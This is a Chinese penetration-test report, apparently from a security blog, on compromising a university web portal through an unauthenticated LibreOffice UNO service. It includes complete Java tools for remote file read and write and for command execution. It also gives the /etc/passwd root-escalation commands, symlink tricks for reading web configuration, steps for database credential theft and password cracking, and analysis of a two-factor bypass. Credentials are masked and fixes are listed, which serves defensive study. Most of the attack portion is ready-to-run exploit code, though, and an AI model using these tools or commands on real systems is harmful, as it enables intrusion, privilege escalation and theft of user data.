EDU攻防实战:对山东某高校的线下打点渗透复盘⑤

XXXXXX门户系统漏洞报告

目标地址:http://10.1.X.XX10.1.X.XXX
涉及服务:80/tcp WebPlus Pro、8100/tcp LibreOffice UNO Remote、后端 MySQL 10.1.X.XXX:3306

image.png

一、结论摘要

本次测试已确认目标存在一条高危攻击链:

UNO 未授权暴露
-> 任意文件读取/目录枚举/任意文件写入
-> 借助用户脚本实现命令执行
-> 利用 /etc/passwd 可写提权到容器 root
-> 在共享目录 /_temp 创建 Web 侧符号链接
-> 读取 Web 应用配置和类文件
-> 获取 MySQL root 凭据并直连数据库
-> 导出后台用户、站点、栏目、文章、登录历史、系统配置
-> 进一步恢复部分后台用户密码
-> 拿到双因子短信实现类、放行条件和短信 AK/SK

该链路已实际达到以下效果:

  1. 成功读取 Web 容器配置、JSP 和 class 文件
  2. 成功获取数据库账号 root / XXXXXX 并直连
  3. 成功导出后台核心业务数据
  4. 成功恢复出多个后台用户口令
  5. 成功确认双因子短信发送实现、验证码流程与放行条件

综合评级:严重 / Critical


二、目标与环境识别

2.1 端口与服务

已确认开放:

  • 22/tcp OpenSSH
  • 80/tcp Apache / WebPlus Pro
  • 8100/tcp UNO Remote Protocol(LibreOffice/OpenOffice)

2.2 Web 指纹

  • 根路径访问后跳转到 /login.jsp?_p=YXXXXXXXXXXX
  • 登录页标题为:XXXX
  • 后台存在双因子验证页:/_web/_twoFactorAuth/twoAuthLogin.jsp

三、漏洞详情

3.1 漏洞一:8100 端口未授权暴露 UNO 远程对象服务

漏洞描述

目标主机对外开放 LibreOffice UNO 远程桥接服务,且无任何认证控制。攻击者可直接连接 10.1.X.XX:8100,调用 UNO 对象接口操作服务端文件系统及办公组件能力。

UNO 简述

UNO(Universal Network Objects)可以理解为 LibreOffice/OpenOffice 的组件对象模型和远程调用框架。目标若以 -accept=socket,...;urp;StarOffice.ServiceManager 方式对外暴露服务,客户端就可以通过 uno:socket,...;urp;StarOffice.ComponentContext 连接远端 ServiceManager,再去创建 DesktopSimpleFileAccessSystemShellExecute 等对象。因此这里不是“普通 8100 端口开放”,而是“无认证暴露了一个可远程创建对象的组件服务”。

风险等级

严重 / Critical

危害

该问题本身就是一个“无认证远程对象接口暴露”,可以直接作为进入系统的主入口,不需要任何 Web 后台账号。

复现方法

本地使用的 tools/unojars/libreoffice-7.3.6.jar 是 LibreOffice 7.3.6 的 UNO Java 客户端依赖,其中:

  1. tools/unojars/libreoffice-7.3.6.jar:UNO Java 运行时依赖
  2. ./scripts:本地编译后的 UnoRead.classUnoFs.classUnoExec.class 所在目录
  3. .:当前目录也加入 classpath,便于 Java 找到默认包下的类

对应的本地编译命令如下:

javac -cp tools/unojars/libreoffice-7.3.6.jar scripts/UnoRead.java scripts/UnoFs.java scripts/UnoExec.java

本地调用 scripts/UnoRead.java 的关键代码如下,可以看到核心就是先连到远端 UNO,再创建 Desktop 对象读取 file:///etc/passwd
完整代码见文末

XComponentContext localContext = Bootstrap.createInitialComponentContext(null);
Object resolver = localFactory.createInstanceWithContext(
        "com.sun.star.bridge.UnoUrlResolver", localContext);
String connect = "uno:socket,host=" + host + ",port=" + port + ";urp;StarOffice.ComponentContext";
Object initialObject = xResolver.resolve(connect);
XComponentContext remoteContext = UnoRuntime.queryInterface(XComponentContext.class, initialObject);
Object desktop = remoteFactory.createInstanceWithContext("com.sun.star.frame.Desktop", remoteContext);
XComponent doc = loader.loadComponentFromURL(target, "_blank", 0, props);
System.out.println(textDoc.getText().getString());
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoRead 10.1.X.XX 8100 file:///etc/passwd

执行后可直接读取服务端本地文件。


3.2 漏洞二:基于 UNO 的任意文件读取、目录遍历、任意文件写入

漏洞描述

通过 com.sun.star.ucb.SimpleFileAccess 接口,可直接:

  1. 读取任意本地文件
  2. 枚举任意目录
  3. 写入任意文件

风险等级

严重 / Critical

已验证结果

已成功读取:

  • /etc/passwd
  • /etc/hosts
  • /proc/self/cmdline
  • /proc/self/environ
  • /opt/app-root/bin/run
  • /root/.bashrc

已成功枚举:

  • file:///
  • file:///opt/app-root
  • file:///root
  • file:///tmp

已成功写入:

  • /tmp/codex_uno_probe.txt

危害

这一步已经足以完成容器环境侦察、启动参数泄露、敏感路径发现以及后续利用文件落地。

复现方法

该步骤使用的是本地编写的 scripts/UnoFs.java,编译方式同上。其关键代码如下,可见其核心是通过 com.sun.star.ucb.SimpleFileAccess 直接执行列目录、读文件、写文件:

Object sfaObject = remoteFactory.createInstanceWithContext(
        "com.sun.star.ucb.SimpleFileAccess", remoteContext);
XSimpleFileAccess3 sfa = UnoRuntime.queryInterface(XSimpleFileAccess3.class, sfaObject);
for (String item : sfa.getFolderContents(target, true)) {
    System.out.println(item);
}
XInputStream input = sfa.openFileRead(target);
XOutputStream output = sfa.openFileWrite(target);
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoFs 10.1.X.XX 8100 list file:///
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoRead 10.1.X.XX 8100 file:///proc/self/environ
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoFs 10.1.X.XX 8100 write file:///tmp/codex_uno_probe.txt 'test'

3.3 漏洞三:通过 UNO 用户脚本链实现远程命令执行,并进一步提权为容器 root

漏洞描述

在已具备文件写入能力的前提下,可向 OpenOffice 用户脚本目录写入可执行脚本,再通过 UNO 调用触发,形成命令执行。随后又利用 /etc/passwd 可写特性构造临时 root 账户,成功在容器内提权。

风险等级

严重 / Critical

危害

这意味着攻击者不仅能“读配置”,而且已经能“执行命令”,并且命令执行权限进一步升级为了容器内 root。

利用结果

已实现:

  • 远程执行 shell 命令
  • 创建临时 root 身份执行命令
  • 在共享挂载目录中创建符号链接

用于稳定验证命令执行的本地工具为 scripts/UnoExec.java,编译方式同上,其关键代码如下:

Object shellObject = remoteFactory.createInstanceWithContext(
        "com.sun.star.system.SystemShellExecute", remoteContext);
XSystemShellExecute shell = UnoRuntime.queryInterface(XSystemShellExecute.class, shellObject);
shell.execute(command, params, 0);

命令执行验证示例:

java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoExec 10.1.X.XX 8100 /bin/sh "-c 'id > /tmp/uno_exec.txt'"

进一步提权为容器 root 时,关键命令至少包括以下几步:

cp /etc/passwd /tmp/pw.bak
printf '%s
' 'r00t0::0:0:root:/root:/bin/sh' >> /etc/passwd
su r00t0 -c 'id'
mv /tmp/pw.bak /etc/passwd

本次实际利用时,已进一步通过 su r00t0 -c '<command>' 执行高权限命令,并在共享目录下创建 Web 侧符号链接用于读取 WEB-INF 配置。


3.4 漏洞四:共享目录 /_temp 可被利用为 Web 侧任意文件读取入口

漏洞描述

UNO 容器与 Web 容器共享 /_temp 目录。攻击者在 UNO 侧获取 root 后,可在该目录创建指向 Web 容器任意路径的符号链接。随后从 80 端口访问 /_temp/<link> 时,Web 服务会跟随该链接并返回目标文件内容。

风险等级

严重 / Critical

已成功读取的 Web 侧关键文件

  • /opt/sudytech/tomcat8/webapps/ROOT/WEB-INF/web.xml
  • /opt/sudytech/tomcat8/webapps/ROOT/WEB-INF/classes/proxool.xml
  • /opt/sudytech/tomcat8/webapps/ROOT/WEB-INF/classes/application.yml
  • /opt/sudytech/tomcat8/webapps/ROOT/_web/_twoFactorAuth/twoAuthLogin.jsp
  • TwoFactorAuthFilter.class
  • xxxxTwoFactorImpl.class

危害

该漏洞把“容器侧能力”升级成了“直接读取 Web 应用真实配置、JSP、类文件和认证实现”。

复现思路

  1. 在共享目录 /_temp 下创建指向目标文件的符号链接
  2. 通过 HTTP 请求 http://10.1.X.XX/_temp/<link> 获取内容

3.5 漏洞五:数据库连接配置泄露,导致 MySQL root 账号直接暴露

image.png

漏洞描述

通过读取 proxool.xml,已直接获取应用使用的数据库连接配置。

风险等级

严重 / Critical

已确认凭据

  • Host:10.1.X.XXX
  • Port:3306
  • Database:WEBPLUSPRO
  • User:root
  • Password:XXXXXXXXX

危害

攻击者无需进入后台页面,即可直接从数据库层读取后台用户、文章、站点、配置、日志等全部核心数据。

复现方法

读取 proxool.xml 后即可直接连接:

python3 webplus_db.py --query "select version()" --save loot/db_version.json

db_version.json

{
  "host": "10.1.X.XXX",
  "port": 3306,
  "database": "WEBPLUSPRO",
  "preset": null,
  "query": "select version() as version, database() as current_db, user() as db_user",
  "row_count": 1,
  "rows": [
    {
      "version": "5.7.44-log",
      "current_db": "WEBPLUSPRO",
      "db_user": "root@10.200.XX.XXX"
    }
  ]
}

3.6 漏洞六:后台核心数据可被完整导出

image.png

漏洞描述

在拿到 MySQL root 凭据后,已成功导出后台关键数据表,包括:

  • 用户表 T_USER
  • 登录历史 T_LOGINHISTORY
  • 机构映射 T_ORGUSER
  • 站点表 T_SITE
  • 栏目表 T_COLUMN
  • 文章与正文预览
  • 系统配置 T_SYSCONFIG
  • 发布服务器配置 T_PUBLISHSERVER
  • 双因子注册配置 T_TWOFACTORAUTH_REGISTER

风险等级

严重 / Critical

已确认的数据样例

  1. 后台管理员账号存在:

    • admin / 系统管理员
  2. 后台登录历史可见真实账号与来源:

    • 2026-05-08 15:24:08 基建后勤处 172.16.X.XX
    • 2026-05-08 10:39:19 bgs(新闻中心) 172.16.X.XX
    • 2026-04-28 09:26:28 财务审计处 172.16.X.XX
  3. 已识别 19 个站点,包含:

    • XXXXXXXXXX
    • XXXXXXXXXX招生就业网
    • 继续教育学院(培训处)
    • 国际交流合作处
    • 教务处
    • 信息技术中心
  4. 已读取文章标题、摘要与正文预览,包括:

    • XXXXXXXXXXX竞争性磋商采购公告
    • XXXXXXXXXXXX政府采购意向
    • 2026年XXXXXXXXX成功举行

3.7 漏洞七:口令存储算法过弱,可离线恢复后台用户密码

漏洞描述

T_USER.Password 使用的不是强口令散列算法,而是:

Base64( MD5( LoginName + PlainPassword ) 的原始16字节摘要 )

该算法本质上仍然是 已知固定盐 + MD5,不具备现代口令保护强度。

风险等级

高危 / High

已恢复出的账号口令

  • csXXXXX / admin123
  • 安保处 / XXXXXXXX
  • 招生就业处 / XXXXXXXXXXXXXXX

危害

一旦用户表泄露,攻击者可利用已知 LoginName 批量离线碰撞常见口令,进一步接管后台账号。

复现思路

验证公式:

stored == base64(md5((login_name + candidate_password).encode()).digest()).decode()

3.8 漏洞八:双因子认证放行条件设计过于单薄,可被二次利用链绕过

漏洞描述

反编译 TwoFactorAuthFilter.class,确认双因子过滤器的核心放行条件仅为当前会话中存在:

SMS=<loginName>&1

也就是说,双因子是否通过,最终只取决于 Session 中的一个字符串属性

风险等级

高危 / High

已确认逻辑

  1. 请求 URI 只要包含 _twoFactorAuth,过滤器直接放行
  2. 普通请求会检查当前登录用户
  3. 若 Session 属性 SMS 的值为 <当前登录名>&1,则允许继续访问
  4. 否则强制跳转到双因子登录页

已验证行为

使用已恢复账号 安保处 / XXXXXXXXX 登录后:

  1. 可稳定进入双因子验证页
  2. POST /_web/_twoFactorAuth/api/valCode/create.rst 返回 success
  3. POST /_web/_twoFactorAuth/api/valCode/check.rst 对错误验证码返回
    您输入的验证码有误,请核对后重新输入!

安全意义

这说明:

  1. 双因子确实在服务端生效
  2. 但其最终信任边界被简化成了一个 Session 变量
  3. 一旦攻击者获得 Web 容器执行能力、Session 写入能力、Session 反序列化能力,或可调用某个写 Session 的同源接口,即可直接把 SMS 写成 <loginName>&1,从而彻底绕过双因子

3.9 漏洞九:双因子短信配置硬编码在类文件中,AK/SK 直接泄露

漏洞描述

已抓取并反编译双因子实现类:

com.sudytech.customize.xxxx.twoFactorAuth.impl.xxxxTwoFactorImpl

确认短信配置 并不在外部安全配置中心,而是直接硬编码在 class 文件中。

风险等级

严重 / Critical

已确认配置

  • Provider:腾讯云短信
  • Endpoint:https://sms.tencentcloudapi.com
  • Host:sms.tencentcloudapi.com
  • Region:ap-beijing
  • Action:SendSms
  • Version:2021-01-11
  • SmsSdkAppIdXXXXXXXX
  • TemplateIdXXXXX
  • SignNameXXXXXXXXXX
  • SecretIdXXXXXXXXXXXXXXXXXXXX
  • SecretKeyXXXXXXXXXXXXXXXXXXXXXXX

神奇发现

该类中的 getCaptcha() 会生成 6 位随机数字验证码:
但是这个逻辑由于笔者能力有限,暂时无法确定是另有深意还是屎山代码

100000 + SecureRandom.nextInt(900000)

危害

泄露短信云账号密钥后,攻击者可能进一步:

  1. 滥用短信接口发送验证码或通知
  2. 推测或审计短信模板
  3. 伪造平台短信行为
  4. 结合双因子流程对后台用户实施更深层接管

四、造成的具体危害与信息泄露实例

以下为本次测试中已实际确认的 16 项具体危害,不依赖任何附件也可以独立说明问题严重性:

  1. 可直接读取目标容器 /etc/passwd,确认系统用户与运行环境
  2. 可直接读取 /proc/self/environ,获取运行时环境变量
  3. 可直接枚举服务端目录结构,定位脚本目录、临时目录和挂载点
  4. 可直接向服务端写入任意文件,为后续利用落地载荷
  5. 可在 OpenOffice 用户脚本目录写入脚本并触发执行,形成命令执行
  6. 可通过修改 /etc/passwd 临时提权为容器 root
  7. 可借助共享目录 /_temp 读取 Web 容器 WEB-INF/web.xmlproxool.xmlapplication.yml 等核心配置
  8. 可直接获取 MySQL 连接地址 10.1.X.XXX:3306 及 root 密码 XXXXXX
  9. 可直接导出后台 56 个用户账号信息、手机号、邮箱、状态等数据
  10. 可直接读取后台管理员账号 admin / 系统管理员 的口令散列值
  11. 可直接恢复出部分后台用户明文口令,包括 安保处 / XXXXXX招生就业处 / XXXXXXXX
  12. 可直接读取 40 条后台登录历史,看到真实登录时间、登录用户、登录来源 IP、登录域名
  13. 可直接读取 19 个站点的名称、域名及站点关系信息,如 www.xxxx.edu.cnXX.xxxx.edu.cn
  14. 可直接读取后台文章标题、正文预览、采购公告、公示通知等业务内容
  15. 可直接读取系统邮箱账号 XXX.XXXXXXX@126.com 及密码 XXXXX
  16. 可直接读取发布服务器配置:发布目标 10.1.X.XXX、同步账号 sudysync、同步密码文件路径 /opt/sudytech/pass/rsyncd_passwd.scrt

如果按业务影响看,这些泄露已经覆盖了:

  • 账号体系
  • 登录行为
  • 站点资产
  • 文章内容
  • 基础设施配置
  • 邮件配置
  • 发布链配置
  • 双因子短信配置

五、完整复现路径

按以下顺序复现:

  1. 连接 UNO 服务,验证未授权:

先准备本地 UNO Java 客户端依赖与编译后的类文件。编译命令如下:

javac -cp tools/unojars/libreoffice-7.3.6.jar scripts/UnoRead.java scripts/UnoFs.java scripts/UnoExec.java

UnoRead.java 的关键逻辑是先通过 UnoUrlResolver 连接远端 StarOffice.ComponentContext,再创建 Desktop 对象并调用 loadComponentFromURL() 读取本地文件:

String connect = "uno:socket,host=" + host + ",port=" + port + ";urp;StarOffice.ComponentContext";
Object initialObject = xResolver.resolve(connect);
Object desktop = remoteFactory.createInstanceWithContext("com.sun.star.frame.Desktop", remoteContext);
XComponent doc = loader.loadComponentFromURL(target, "_blank", 0, props);
System.out.println(textDoc.getText().getString());
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoRead 10.1.X.XX 8100 file:///etc/passwd
  1. 验证目录遍历与写文件:

UnoFs.java 的关键逻辑是创建 com.sun.star.ucb.SimpleFileAccess 对象并直接调用其文件接口:

Object sfaObject = remoteFactory.createInstanceWithContext(
        "com.sun.star.ucb.SimpleFileAccess", remoteContext);
XSimpleFileAccess3 sfa = UnoRuntime.queryInterface(XSimpleFileAccess3.class, sfaObject);
for (String item : sfa.getFolderContents(target, true)) {
    System.out.println(item);
}
XOutputStream output = sfa.openFileWrite(target);
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoFs 10.1.X.XX 8100 list file:///
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoFs 10.1.X.XX 8100 write file:///tmp/probe.txt 'ok'
  1. 通过脚本/命令执行链获取容器高权限后,在共享目录下创建 Web 侧文件符号链接。UnoExec.java 的关键逻辑如下:
Object shellObject = remoteFactory.createInstanceWithContext(
        "com.sun.star.system.SystemShellExecute", remoteContext);
XSystemShellExecute shell = UnoRuntime.queryInterface(XSystemShellExecute.class, shellObject);
shell.execute(command, params, 0);

先验证命令执行:

java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoExec 10.1.X.XX 8100 /bin/sh "-c 'id > /tmp/uno_exec.txt'"

再执行提权关键命令:

cp /etc/passwd /tmp/pw.bak
printf '%s
' 'r00t0::0:0:root:/root:/bin/sh' >> /etc/passwd
su r00t0 -c 'id; ln -sf /opt/sudytech/tomcat8/webapps/ROOT/WEB-INF/classes/proxool.xml /_temp/proxool.xml'
mv /tmp/pw.bak /etc/passwd
  1. 读取 proxool.xml,提取数据库凭据

  2. 使用数据库脚本直连:

python3 webplus_db_probe.py --query "select version()" --save loot/db_version.json
  1. 利用已确认的口令算法离线恢复弱口令用户

  2. 反编译双因子类和过滤器,确认放行条件和短信实现

  3. 用已恢复账号测试双因子流程:

python webplus_2fa_probe.py '安保处' 'XXXXXX' --fake-ip --create --check-code 000000 --outdir loot/2fa_probe_anbao_v1

六、修复建议

  1. 立即关闭 8100 对外暴露,UNO 组件不得直接监听公网或竞赛入口网段
  2. 禁止 UNO 侧访问或写入共享 Web 根目录
  3. 修复容器文件权限,禁止普通服务用户写 /etc/passwd 及敏感系统路径
  4. Web 侧禁止跟随 /_temp 中的任意符号链接读取系统文件
  5. 立即更换数据库 root 密码,应用不得使用数据库 root 连接业务库
  6. 将口令存储升级为 bcrypt / scrypt / Argon2,禁止使用 MD5
  7. 双因子状态不得只依赖单个 Session 字符串,应引入服务端签名、过期时间、绑定用户和绑定验证码流水
  8. 短信 AK/SK 必须移出代码,改为环境变量、配置中心或密钥管理服务
  9. 对后台、数据库、短信云、系统邮箱、发布链路相关凭据进行整体轮换
  10. 审计所有历史登录、短信发送、配置读取和数据库访问痕迹

八、最终结论

本资产的核心问题不是某一个单点漏洞,而是多个高危缺陷首尾相接,最终形成了“未授权进入 -> 主机利用 -> 配置泄露 -> 数据库接管 -> 账号恢复 -> 双因子实现暴露”的完整攻击链。

在当前状态下,即使不进入后台页面,攻击者也已经能够直接获取后台关键数据;而一旦结合已泄露的短信配置、已恢复的账号口令和数据库修改能力,进入后台页面只是时间问题。

附录:部分脚本完整代码

UnoExec.java

import com.sun.star.bridge.XUnoUrlResolver;
import com.sun.star.comp.helper.Bootstrap;
import com.sun.star.lang.XMultiComponentFactory;
import com.sun.star.system.XSystemShellExecute;
import com.sun.star.uno.UnoRuntime;
import com.sun.star.uno.XComponentContext;

public class UnoExec {
    private static XComponentContext connect(String host, String port) throws Exception {
        XComponentContext localContext = Bootstrap.createInitialComponentContext(null);
        XMultiComponentFactory localFactory = localContext.getServiceManager();
        Object resolver = localFactory.createInstanceWithContext(
                "com.sun.star.bridge.UnoUrlResolver", localContext);
        XUnoUrlResolver xResolver = UnoRuntime.queryInterface(XUnoUrlResolver.class, resolver);
        String connect = "uno:socket,host=" + host + ",port=" + port + ";urp;StarOffice.ComponentContext";
        Object initialObject = xResolver.resolve(connect);
        return UnoRuntime.queryInterface(XComponentContext.class, initialObject);
    }

    public static void main(String[] args) throws Exception {
        String host = args.length > 0 ? args[0] : "10.1.X.XX";
        String port = args.length > 1 ? args[1] : "8100";
        String command = args.length > 2 ? args[2] : "/bin/sh";
        String params = args.length > 3
                ? args[3]
                : "-c 'id > /tmp/uno_exec.txt; uname -a >> /tmp/uno_exec.txt'";

        XComponentContext remoteContext = connect(host, port);
        XMultiComponentFactory remoteFactory = remoteContext.getServiceManager();
        Object shellObject = remoteFactory.createInstanceWithContext(
                "com.sun.star.system.SystemShellExecute", remoteContext);
        XSystemShellExecute shell = UnoRuntime.queryInterface(XSystemShellExecute.class, shellObject);
        shell.execute(command, params, 0);
        System.out.println("executed");
        System.exit(0);
    }
}

UnoFind.java

import com.sun.star.bridge.XUnoUrlResolver;
import com.sun.star.comp.helper.Bootstrap;
import com.sun.star.lang.XMultiComponentFactory;
import com.sun.star.ucb.XSimpleFileAccess3;
import com.sun.star.uno.UnoRuntime;
import com.sun.star.uno.XComponentContext;

public class UnoFind {
    private static XComponentContext connect(String host, String port) throws Exception {
        XComponentContext localContext = Bootstrap.createInitialComponentContext(null);
        XMultiComponentFactory localFactory = localContext.getServiceManager();
        Object resolver = localFactory.createInstanceWithContext(
                "com.sun.star.bridge.UnoUrlResolver", localContext);
        XUnoUrlResolver xResolver = UnoRuntime.queryInterface(XUnoUrlResolver.class, resolver);
        String connect = "uno:socket,host=" + host + ",port=" + port + ";urp;StarOffice.ComponentContext";
        Object initialObject = xResolver.resolve(connect);
        return UnoRuntime.queryInterface(XComponentContext.class, initialObject);
    }

    private static XSimpleFileAccess3 getSfa(XComponentContext remoteContext) throws Exception {
        XMultiComponentFactory remoteFactory = remoteContext.getServiceManager();
        Object sfaObject = remoteFactory.createInstanceWithContext(
                "com.sun.star.ucb.SimpleFileAccess", remoteContext);
        return UnoRuntime.queryInterface(XSimpleFileAccess3.class, sfaObject);
    }

    private static void walk(XSimpleFileAccess3 sfa, String path, String needle, int depth, int maxDepth) {
        if (depth > maxDepth) {
            return;
        }
        try {
            for (String item : sfa.getFolderContents(path, true)) {
                String lower = item.toLowerCase();
                if (lower.contains(needle)) {
                    System.out.println(item);
                }
                try {
                    if (sfa.isFolder(item)) {
                        walk(sfa, item, needle, depth + 1, maxDepth);
                    }
                } catch (Exception ignored) {
                }
            }
        } catch (Exception ignored) {
        }
    }

    public static void main(String[] args) throws Exception {
        String host = args.length > 0 ? args[0] : "10.1.X.XX";
        String port = args.length > 1 ? args[1] : "8100";
        String start = args.length > 2 ? args[2] : "file:///";
        String needle = args.length > 3 ? args[3].toLowerCase() : "";
        int maxDepth = args.length > 4 ? Integer.parseInt(args[4]) : 4;

        XComponentContext remoteContext = connect(host, port);
        XSimpleFileAccess3 sfa = getSfa(remoteContext);
        walk(sfa, start, needle, 0, maxDepth);
        System.exit(0);
    }
}

UnoFs.java

import com.sun.star.bridge.XUnoUrlResolver;
import com.sun.star.comp.helper.Bootstrap;
import com.sun.star.io.XInputStream;
import com.sun.star.io.XOutputStream;
import com.sun.star.lang.XMultiComponentFactory;
import com.sun.star.ucb.XSimpleFileAccess3;
import com.sun.star.uno.UnoRuntime;
import com.sun.star.uno.XComponentContext;
import java.nio.file.Files;
import java.nio.file.Paths;

public class UnoFs {
    private static XComponentContext connect(String host, String port) throws Exception {
        XComponentContext localContext = Bootstrap.createInitialComponentContext(null);
        XMultiComponentFactory localFactory = localContext.getServiceManager();
        Object resolver = localFactory.createInstanceWithContext(
                "com.sun.star.bridge.UnoUrlResolver", localContext);
        XUnoUrlResolver xResolver = UnoRuntime.queryInterface(XUnoUrlResolver.class, resolver);
        String connect = "uno:socket,host=" + host + ",port=" + port + ";urp;StarOffice.ComponentContext";
        Object initialObject = xResolver.resolve(connect);
        return UnoRuntime.queryInterface(XComponentContext.class, initialObject);
    }

    private static XSimpleFileAccess3 getSfa(XComponentContext remoteContext) throws Exception {
        XMultiComponentFactory remoteFactory = remoteContext.getServiceManager();
        Object sfaObject = remoteFactory.createInstanceWithContext(
                "com.sun.star.ucb.SimpleFileAccess", remoteContext);
        return UnoRuntime.queryInterface(XSimpleFileAccess3.class, sfaObject);
    }

    public static void main(String[] args) throws Exception {
        String host = args.length > 0 ? args[0] : "10.1.X.XX";
        String port = args.length > 1 ? args[1] : "8100";
        String mode = args.length > 2 ? args[2] : "list";
        String target = args.length > 3 ? args[3] : "file:///";

        XComponentContext remoteContext = connect(host, port);
        XSimpleFileAccess3 sfa = getSfa(remoteContext);

        if ("exists".equals(mode)) {
            System.out.println(sfa.exists(target));
            System.exit(0);
        }

        if ("list".equals(mode)) {
            for (String item : sfa.getFolderContents(target, true)) {
                System.out.println(item);
            }
            System.exit(0);
        }

        if ("cat".equals(mode)) {
            XInputStream input = sfa.openFileRead(target);
            try {
                while (true) {
                    byte[][] buffer = new byte[1][];
                    int read = input.readBytes(buffer, 4096);
                    if (read <= 0) {
                        break;
                    }
                    System.out.write(buffer[0], 0, read);
                    if (read < 4096) {
                        break;
                    }
                }
                System.out.flush();
            } finally {
                input.closeInput();
            }
            System.exit(0);
        }

        if ("write".equals(mode)) {
            String data = args.length > 4 ? args[4] : "codex-uno-write-test
";
            byte[] bytes;
            if (data.startsWith("@")) {
                bytes = Files.readAllBytes(Paths.get(data.substring(1)));
            } else {
                bytes = data.getBytes("UTF-8");
            }
            XOutputStream output = sfa.openFileWrite(target);
            try {
                output.writeBytes(bytes);
                output.flush();
            } finally {
                output.closeOutput();
            }
            System.out.println("wrote");
            System.exit(0);
        }

        if ("mkdir".equals(mode)) {
            sfa.createFolder(target);
            System.out.println("created");
            System.exit(0);
        }

        if ("rm".equals(mode)) {
            sfa.kill(target);
            System.out.println("removed");
            System.exit(0);
        }

        System.err.println("Usage: UnoFs <host> <port> <list|cat|exists|write|mkdir|rm> <file-url> [data]");
        System.exit(1);
    }
}

UnoInvoke.java

import com.sun.star.bridge.XUnoUrlResolver;
import com.sun.star.comp.helper.Bootstrap;
import com.sun.star.lang.XMultiComponentFactory;
import com.sun.star.script.provider.XScript;
import com.sun.star.script.provider.XScriptProvider;
import com.sun.star.script.provider.XScriptProviderFactory;
import com.sun.star.uno.UnoRuntime;
import com.sun.star.uno.XComponentContext;

public class UnoInvoke {
    private static XComponentContext connect(String host, String port) throws Exception {
        XComponentContext localContext = Bootstrap.createInitialComponentContext(null);
        XMultiComponentFactory localFactory = localContext.getServiceManager();
        Object resolver = localFactory.createInstanceWithContext(
                "com.sun.star.bridge.UnoUrlResolver", localContext);
        XUnoUrlResolver xResolver = UnoRuntime.queryInterface(XUnoUrlResolver.class, resolver);
        String connect = "uno:socket,host=" + host + ",port=" + port + ";urp;StarOffice.ComponentContext";
        Object initialObject = xResolver.resolve(connect);
        return UnoRuntime.queryInterface(XComponentContext.class, initialObject);
    }

    public static void main(String[] args) throws Exception {
        try {
            String host = args.length > 0 ? args[0] : "10.1.X.XX";
            String port = args.length > 1 ? args[1] : "8100";
            String scriptUri = args.length > 2
                    ? args[2]
                    : "vnd.sun.star.script:Standard.Module1.Main?language=Basic&location=user";

            XComponentContext remoteContext = connect(host, port);
            XMultiComponentFactory remoteFactory = remoteContext.getServiceManager();

            Object factoryObject = remoteFactory.createInstanceWithContext(
                    "com.sun.star.script.provider.MasterScriptProviderFactory", remoteContext);
            XScriptProviderFactory scriptProviderFactory = UnoRuntime.queryInterface(
                    XScriptProviderFactory.class, factoryObject);
            XScriptProvider scriptProvider = scriptProviderFactory.createScriptProvider("");
            XScript script = scriptProvider.getScript(scriptUri);
            Object result = script.invoke(new Object[0], new short[0][0], new Object[0][0]);
            System.out.println(result == null ? "null" : result.toString());
            System.exit(0);
        } catch (Exception e) {
            e.printStackTrace(System.err);
            System.exit(2);
        }
    }
}

UnoRead.java

import com.sun.star.beans.PropertyValue;
import com.sun.star.bridge.XUnoUrlResolver;
import com.sun.star.comp.helper.Bootstrap;
import com.sun.star.frame.XComponentLoader;
import com.sun.star.lang.XComponent;
import com.sun.star.text.XTextDocument;
import com.sun.star.uno.UnoRuntime;
import com.sun.star.uno.XComponentContext;
import com.sun.star.lang.XMultiComponentFactory;

public class UnoRead {
    public static void main(String[] args) throws Exception {
        String host = args.length > 0 ? args[0] : "10.1.X.XX";
        String port = args.length > 1 ? args[1] : "8100";
        String target = args.length > 2 ? args[2] : "file:///etc/passwd";

        XComponentContext localContext = Bootstrap.createInitialComponentContext(null);
        XMultiComponentFactory localFactory = localContext.getServiceManager();
        Object resolver = localFactory.createInstanceWithContext(
                "com.sun.star.bridge.UnoUrlResolver", localContext);
        XUnoUrlResolver xResolver = UnoRuntime.queryInterface(XUnoUrlResolver.class, resolver);

        String connect = "uno:socket,host=" + host + ",port=" + port + ";urp;StarOffice.ComponentContext";
        Object initialObject = xResolver.resolve(connect);
        XComponentContext remoteContext = UnoRuntime.queryInterface(XComponentContext.class, initialObject);
        XMultiComponentFactory remoteFactory = remoteContext.getServiceManager();

        Object desktop = remoteFactory.createInstanceWithContext("com.sun.star.frame.Desktop", remoteContext);
        XComponentLoader loader = UnoRuntime.queryInterface(XComponentLoader.class, desktop);
        PropertyValue hidden = new PropertyValue();
        hidden.Name = "Hidden";
        hidden.Value = Boolean.TRUE;

        PropertyValue readOnly = new PropertyValue();
        readOnly.Name = "ReadOnly";
        readOnly.Value = Boolean.TRUE;

        PropertyValue filter = new PropertyValue();
        filter.Name = "FilterName";
        filter.Value = "Text";

        PropertyValue[] props = new PropertyValue[] {hidden, readOnly, filter};
        XComponent doc = loader.loadComponentFromURL(target, "_blank", 0, props);
        XTextDocument textDoc = UnoRuntime.queryInterface(XTextDocument.class, doc);

        if (textDoc == null) {
            System.out.println("[!] Loaded component but it is not a text document: " + target);
            return;
        }

        String content = textDoc.getText().getString();
        System.out.println(content);
        doc.dispose();
    }
}

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。